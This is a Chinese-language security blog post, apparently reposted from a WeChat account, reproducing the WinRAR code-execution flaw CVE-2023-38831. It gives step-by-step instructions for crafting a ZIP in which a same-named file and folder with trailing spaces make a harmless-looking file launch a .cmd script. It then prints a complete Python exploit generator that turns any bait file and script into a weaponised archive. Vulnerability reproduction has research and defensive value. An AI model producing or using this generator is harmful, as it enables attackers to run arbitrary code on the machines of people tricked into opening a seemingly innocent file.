【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

admin 2023年8月28日01:35:44评论126 views字数 2188阅读7分17秒阅读模式

WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。


WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

漏洞复现

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

首先利用两个压缩工具,一个是7z,一个是rar,7z主要是用来创建测试漏洞文件

在文件夹中,创建两个文件

  • 1 test (文件夹)

  • 2 ReadMe.txt .cmd (批处理文件)

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

用7z,压缩文件,右键把test文件夹压缩成zip,然后在打开

新建一个名称为,ReadMe.txt 的文件和 ReadMe.txt 文件夹(注意,文件是会有冲突的)踩坑点,需要用rar和7z配合使用

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

在test文件夹内再创建一个test.txt文件夹(不在桌面创建是因为已经有了一个test.txt文本),然后在test.txt文件夹中创建"test.txt .cmd",注意有空格哟。

这里可以创建cmd或者bat两种脚本文件。

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

test.zip压缩包需要用7zip打开,然后把test.txt文件夹拖入压缩包中,修改test.txt文件夹名称加一个空格"test.txt "

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

把桌面的test.txt也拖入test.zip压缩包中,也需要重命名为"test.txt "

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

最后用压缩包打开,双击"test.txt "成功执行"test.txt .cmd"打开Calc

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

利用代码

#!/usr/bin/env python3# -*- coding: utf-8 -*-
import shutilimport osimport sys
TEMPLATE_NAME = "TEMPLATE"OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "test.txt"SCRIPT_NAME = "test.bat"
def main(): global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量
# 处理命令行参数 if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == "poc": pass else: print("""用法: python cve-2023-38831-exp-gen.py poc python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""") sys.exit()
# 提取鱼叉文件名的扩展名 BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("鱼叉文件名:", BAIT_NAME) print("脚本文件名:", SCRIPT_NAME) print("输出文件名:", OUTPUT_NAME)
# 清理并创建必要的目录 if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A") if not os.path.exists(d): os.mkdir(d)
# 复制文件到模板目录 shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd")) shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))
# 创建模板目录的 zip 压缩文件 shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
# 读取、修改并写回 zip 压缩文件 with open(TEMPLATE_NAME + ".zip", "rb") as f: content = f.read() content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ") content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
# 将修改后的内容保存为最终输出文件 with open(OUTPUT_NAME, "wb") as f: f.write(content)
print("成功生成漏洞利用代码。")
if __name__ == "__main__": main()


阅读 10万+

原文始发于微信公众号(利刃信安攻防实验室):【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月28日01:35:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】https://cn-sec.com/archives/1983601.html

发表评论

匿名网友 填写信息